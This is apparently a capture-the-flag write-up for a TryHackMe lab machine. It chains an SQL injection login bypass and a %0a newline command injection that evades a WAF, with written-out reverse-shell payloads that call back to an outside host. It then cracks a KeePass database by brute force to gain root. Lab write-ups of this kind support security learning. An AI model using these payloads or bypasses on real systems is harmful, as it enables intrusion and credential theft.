| User | THM{sQli_4nd_cMd_1nj3ct10n_l3D_y0u_h3re!} |
| Root | THM{KDBx_V4ul7_H4s_b33n_cr4ck3d_0peN} |
%0a newline — WAF bypassStandard stealth scan across all ports. Only two services exposed — SSH and a Python web app running on a non-standard port.
sudo nmap -sS -sV -sC 10.48.180.35 -p- -T4
| Port | Service |
|---|---|
| 22 | OpenSSH 8.9p1 Ubuntu |
| 5050 | Werkzeug 2.0.2 / Python 3.10.12 |
Werkzeug on port 5050 immediately suggests a Flask app. Combined with the machine name "Silent Monitor", this looks like an internal network ops panel — exactly the kind of thing someone locks behind a login form and then forgets to parameterize.
The app lives at http://10.48.180.35:5050. The login panel is at /internal — cute name for an internal tool they clearly didn't want us to find. WAF and rate limiting are active, so brute force is off the table.
The login form at /internal/login was the obvious first target. The classic sanity check: does this thing even sanitize its inputs?
WHERE username='$u' AND password='$p' — meaning either field can short-circuit the whole condition.
POST /internal/login username=' OR 1=1-- password=anything # OR inject password field instead: username=anything password=' OR 1=1-- # OR hit both at once for maximum commitment: username=' OR 1=1-- password=' OR 1=1--
Logged in as netops — an operator-level account. Not admin, but enough to reach the health check endpoint that's about to become our best friend.
%0aThe POST /internal/health endpoint takes a target parameter and runs ping -c 2 -W 1 <target>. Classic shell composition vulnerability. The WAF blocks |, ;, &, and spaces — the usual suspects.
What it doesn't block: URL-encoded newlines. Flask decodes %0a before the input ever reaches the WAF regex, so the injected newline creates a second shell command that executes clean.
# Confirm execution target=127.0.0.1%0awhoami # Read the config file target=127.0.0.1%0acat+secret.config # Reverse shell — busybox nc target=127.0.0.1%0abusybox+nc+192.168.200.104+7777+-e+/bin/sh # Or Python if busybox isn't available target=127.0.0.1%0apython3+-c+'import+socket,subprocess,os;s=socket.socket();s.connect(("192.168.200.104",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
nc -lvnp 7777
Shell lands as www-data. Not root, not even a real user — but enough to read files the web process has access to.
With a shell as www-data, the first instinct is to look at what the web app itself has access to. Config files are a natural starting point — especially in Python apps where credentials often live in .ini or .config files right next to the application.
[backup_agent] run_as = sysadmin password = S3cur3Backup$Acc3ss!
Credentials in plaintext. In a config file. Owned by the web process. Bold strategy.
ssh [email protected] # password: S3cur3Backup$Acc3ss!
User flag located at the usual spot. Also found ~/backups/infrastructure.kdbx — a KeePass database. Things are getting interesting.
Exfil the database first:
scp [email protected]:/home/sysadmin/backups/infrastructure.kdbx .
pykeepass instead.Setting up the brute force environment:
python3 -m venv ./venv source ./venv/bin/activate.fish pip install pykeepass
from pykeepass import PyKeePass from pykeepass.exceptions import CredentialsError with open("/home/cybermaksx/Downloads/rockyou.txt", "rb") as f: for line in f: p = line.strip().decode("utf-8", "ignore") try: PyKeePass("infrastructure.kdbx", password=p) print(f"[+] FOUND: {p}") break except CredentialsError: pass
[+] FOUND: spring
The sysadmin who runs an internal infrastructure monitoring platform, stores root credentials in KeePass, and locks it with the password spring. Truly a legend of our time.
Dump all entries:
from pykeepass import PyKeePass kp = PyKeePass("infrastructure.kdbx", password="spring") for e in kp.entries: print(e.title, e.username, e.password)
| Title | Username | Password |
|---|---|---|
| Root User Password - Sensitive | root | S3cur3P4ss0nK33p4ss |
| Sample Entry #2 | Michael321 | 12345 |
Michael321 stays in his lane. Root does not.
su root # password: S3cur3P4ss0nK33p4ss cat /root/root.txt # THM{KDBx_V4ul7_H4s_b33n_cr4ck3d_0peN}
| User | Password / Method | Source |
|---|---|---|
| netops (web) | ' OR 1=1-- | SQLi auth bypass |
| sysadmin | S3cur3Backup$Acc3ss! | secret.config |
| KeePass | spring | rockyou brute (pykeepass) |
| root | S3cur3P4ss0nK33p4ss | KeePass entry |
%0a slipped through as a literal newline after decode. Always test encoded variants of blocked characters.keepass2john. Check the file format before wasting time. pykeepass handles v4 natively and is trivial to script./opt/, /var/www/, /srv/ — all worth a thorough read when you land as www-data.